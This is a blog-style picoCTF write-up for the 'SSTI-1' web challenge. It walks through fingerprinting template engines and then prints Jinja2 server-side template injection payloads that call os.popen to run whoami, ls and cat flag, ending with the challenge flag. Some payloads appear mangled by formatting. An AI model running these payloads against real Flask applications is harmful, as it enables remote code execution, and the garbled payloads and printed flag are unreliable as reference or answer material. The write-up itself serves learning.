Post

PicoCTF – SSTI-1{Server-Side-Template-Injection}

PicoCTF – SSTI-1{Server-Side-Template-Injection}

SSTI-1 {Server-Side-Template-Injection-1}

Challenge Author: Venax

Category: Web-Exploitation

Description

I made a cool website where you can announce whatever you want! Try it out!

Additional details will be available after launching your challenge instance.

Process

  1. Launch the instance from the Pico website.
  2. After Launching the instance, a page will be displayed with one input field.

    Screenshot 2025-12-08 at 8.30.09 PM.png

    Screenshot 2025-12-08 at 8.30.17 PM.png

  3. Any text entered into the field is reflected back onto the page as a large announcement.
  4. Now I was curious of this challenge since you can’t perform
    • SQLi,
    • IDOR,
    • XSS

    I found out that there is another vulnerability called “SSTI” which is “Server Side Template Injection”

    Screenshot 2025-12-08 at 8.30.31 PM.png

  5. Now there are several payloads to test out what type server is being used,To identify which template engine is being used by the application, we can inject specific payloads and observe the response. Below are some common template engines and their corresponding test payloads:

    Template EngineLanguage / FrameworkTest PayloadExpected Output
    Jinja2Python (Flask / Django)749
    FreemarkerJava${7*7}49
    VelocityJava#set($a = 7*7)${a}49
    ThymeleafJava${7*7}49
    TwigPHP (Symfony)749
    SmartyPHP{$7*7}49
    MakoPython<% print 7*7 %>49

    Screenshot 2025-12-08 at 8.30.39 PM.png

  6. By injecting the respective template engine payload the server evaluated the expression and returned 49, confirming the use of the Jinja2 template engine commonly found in Python Flask applications.
  7. Now I found a payload which is able to execute shell commands which you can see down below.

    1
    
     {self._TemplateReference__context.cycler.**init**.**globals**.os.popen('whoami').read()}}
    

    Screenshot 2025-12-08 at 8.31.11 PM.png

  8. After giving the payload to the input field it announced as “root”, tinkering with the payload to reveal the list of files in the current directory.

    1
    
     {self._TemplateReference__context.cycler.**init**.**globals**.os.popen('ls').read()}}
    

    Screenshot 2025-12-08 at 8.31.22 PM.png

  9. After giving the adjusted payload I was able to see the flag file present in the current directory and to reveal the flag I just need to tinker with the payload one more time to reveal the flag which can be seen below.

    1
    
     {self._TemplateReference__context.cycler.**init**.**globals**.os.popen('cat flag').read()}}
    

    Screenshot 2025-12-08 at 8.32.14 PM.png

  10. Finally the contents of the flag has been revealed which is
1
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_09365533}

Conclusion

This challenge demonstrated how insecure handling of user input in server-side templates can lead to severe security vulnerabilities. By identifying that the application was using the Jinja2 template engine, a simple arithmetic payload confirmed the presence of a Server-Side Template Injection (SSTI) vulnerability. Leveraging exposed template objects allowed escalation from template injection to full remote code execution.

Through careful payload crafting, it was possible to execute system commands, enumerate files on the server, and ultimately retrieve the flag. This highlights the critical risk posed by SSTI vulnerabilities, as they often result in complete server compromise when proper input validation and template sandboxing are not enforced.

Overall, this challenge reinforces the importance of secure template rendering practices and demonstrates why untrusted user input should never be directly evaluated by server-side template engines.

Thanks for reading, and see you in the next blog! 👋

This post is licensed under CC BY 4.0 by the author.